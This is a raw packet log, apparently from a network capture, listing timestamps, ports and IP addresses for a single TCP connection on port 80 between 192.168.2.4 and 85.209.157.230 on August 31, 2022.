Aug 31, 2022 14:28:35.463027954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.463076115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463140965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463164091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463186026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463215113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463217974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.463231087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463236094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.463675976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463733912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463749886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463766098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463782072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463793993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.463804007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.463833094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464003086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464400053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464417934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464433908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464449883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464466095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464468002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464478016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464493036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464493990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464509010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464509010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464524031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464539051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464555025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464555025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464565992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464606047 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464689970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464718103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464754105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464770079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464854002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464873075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464884043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.464919090 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.464939117 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465141058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465255022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465276957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465276957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465301991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465318918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465331078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465338945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465356112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465363979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465379953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465442896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465470076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465481043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465503931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465504885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465514898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465529919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465545893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465568066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465569973 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465595961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.465601921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465631008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465646029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.465657949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.466945887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467046976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467065096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467084885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467099905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467120886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467125893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467139006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467165947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467197895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467206001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467283010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467308998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467323065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467339039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467387915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467391014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467397928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467645884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467669010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467714071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467725992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467742920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467763901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467775106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467793941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467812061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.467983007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.467999935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468012094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468025923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468116045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468141079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468158960 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468178034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468205929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468224049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468259096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468261003 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468271017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468313932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468627930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468633890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468646049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468662024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468677044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468697071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468698978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468709946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468736887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468842983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468894005 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.468900919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468918085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468934059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.468997002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.469023943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.469037056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.469089985 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470134974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470170975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470230103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470237970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470253944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470272064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470287085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470307112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470309019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470350981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470364094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470382929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470398903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470415115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470438004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470449924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470475912 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470846891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470882893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470930099 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.470961094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.470990896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471043110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471144915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471158028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471196890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471272945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471290112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471329927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471338034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471359968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471376896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471390009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471437931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471441984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471488953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471504927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471520901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471549034 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471577883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471577883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471595049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471611977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471683979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471699953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471716881 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471736908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471741915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471754074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.471774101 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.471797943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472493887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472517014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472538948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472553968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472575903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472687960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472704887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472718954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472742081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472743034 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472764969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472769976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472783089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472807884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472852945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472923994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472939968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472954988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.472975969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.472990990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473006964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473007917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.473546028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473603010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473619938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473643064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473679066 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.473716974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473721981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.473733902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.473776102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.473984003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474000931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474016905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474031925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474050045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474071980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474081993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474118948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474404097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474445105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474461079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474478960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474486113 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474504948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474524975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474528074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474565029 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474740028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474765062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474786997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474806070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474817038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.474849939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474863052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.474914074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475065947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475181103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475197077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475214005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475240946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475260973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475264072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475277901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475327015 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475477934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475496054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475512981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475544930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475569963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475600004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475611925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475642920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.475857973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475879908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475894928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475910902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475925922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475936890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.475949049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.476005077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.476171970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476417065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476433992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476440907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476453066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476465940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476480961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476494074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476510048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476521015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476552010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.476583004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.476742983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476758003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476804018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.476811886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476830959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476854086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476865053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.476900101 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477035046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477077961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477094889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477133036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477169037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477169991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477193117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477209091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477237940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477556944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477623940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477641106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477684975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477689981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477730036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477741957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477776051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477919102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477936029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.477978945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.477988958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478008032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478024006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478034973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478049040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.478065014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.478454113 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.478882074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478907108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478929996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478955030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478965044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.478976965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478992939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.478996992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479149103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479172945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479197979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479222059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479223967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479245901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479247093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479264021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479307890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479459047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479484081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479506969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479528904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479532003 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479553938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479568958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479598045 CEST	49726	80	192.168.2.4	85.209.157.230
